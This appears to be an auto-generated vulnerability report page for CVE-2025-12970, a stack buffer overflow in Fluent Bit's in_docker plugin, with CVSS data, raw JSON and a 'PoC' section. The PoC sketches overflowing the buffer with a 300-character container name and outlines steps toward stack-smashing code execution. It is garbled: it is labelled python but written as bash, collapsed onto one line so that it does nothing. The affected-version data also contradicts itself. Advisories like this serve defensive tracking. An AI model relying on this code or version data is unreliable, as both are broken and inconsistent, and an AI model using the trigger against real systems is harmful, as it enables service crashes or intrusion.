Security Vulnerability Report
中文
CVE-2025-12970 CVSS 8.8 HIGH

CVE-2025-12970

Published: 2025-11-24 15:15:47
Last Modified: 2025-11-28 18:15:46

Description

The extract_name function in Fluent Bit in_docker input plugin copies container names into a fixed size stack buffer without validating length. An attacker who can create containers or control container names, can supply a long name that overflows the buffer, leading to process crash or arbitrary code execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:treasuredata:fluent_bit:4.1.0:*:*:*:*:*:*:* - VULNERABLE
Fluent Bit < 4.1.0
Fluent Bit 4.0.x < 4.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-12970 PoC - Fluent Bit in_docker Buffer Overflow # Create a container with an excessively long name to trigger overflow # Generate a long container name (>128 bytes to overflow stack buffer) LONG_NAME=$(python3 -c "print('A'*300)") # Attempt to create container with long name # Note: This PoC demonstrates the concept; actual exploitation requires: # 1. Fluent Bit running with in_docker plugin enabled # 2. Attacker has container creation privileges # 3. Container names are not properly sanitized echo "Creating container with long name to trigger CVE-2025-12970..." # For demonstration purposes - actual exploitation requires Docker API access # docker run --name "$LONG_NAME" ubuntu:latest sleep 9999 # The vulnerability is triggered when Fluent Bit's in_docker plugin # processes this container and calls extract_name() without length check cat << 'EOF' # Python PoC for generating long container name payload payload = "A" * 300 print(f"Payload length: {len(payload)}") print(f"Payload: {payload}") # For Metasploit module development, the exploit would: # 1. Create container with controlled long name # 2. Wait for Fluent Bit to process container list # 3. Trigger buffer overflow in extract_name() # 4. Control execution flow via stack smashing EOF

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12970", "sourceIdentifier": "[email protected]", "published": "2025-11-24T15:15:46.507", "lastModified": "2025-11-28T18:15:46.240", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The extract_name function in Fluent Bit in_docker input plugin copies container names into a fixed size stack buffer without validating length. An attacker who can create containers or control container names, can supply a long name that overflows the buffer, leading to process crash or arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:treasuredata:fluent_bit:4.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D0EA105-B741-4E44-828A-9300B09A7A79"}]}]}], "references": [{"url": "https://fluentbit.io/blog/2025/10/28/security-vulnerabilities-addressed-in-fluent-bit-v4.1-and-backported-to-v4.0/", "source": "[email protected]"}, {"url": "https://www.oligo.security/blog/critical-vulnerabilities-in-fluent-bit-expose-cloud-environments-to-remote-takeover", "source": "[email protected]"}]}}